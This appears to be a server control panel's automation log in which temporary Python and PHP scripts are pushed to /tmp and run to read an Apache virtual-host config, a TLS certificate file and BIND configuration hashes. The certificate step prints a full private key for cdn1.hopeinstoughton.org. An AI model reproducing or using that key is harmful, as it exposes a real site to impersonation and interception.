Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:28:40:
PUT: /tmp/pkp236584
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:28:40:
chmod 755 /tmp/pkp236584; /tmp/pkp236584; rm /tmp/pkp236584
2026-01-03 19:28:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 1656
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2026-01-03 19:28:41:
PUT: /tmp/pkp124216
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:28:41:
chmod 755 /tmp/pkp124216; /tmp/pkp124216; rm /tmp/pkp124216
2026-01-03 19:28:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt 5382
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40
-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-03 19:28:41: Establishing a connection
2026-01-03 19:28:41:
PUT: /tmp/pkp178406
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:28:41:
runuser -l bind -s /bin/bash -c '/tmp/pkp178406; rm /tmp/pkp178406'
2026-01-03 19:28:41:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
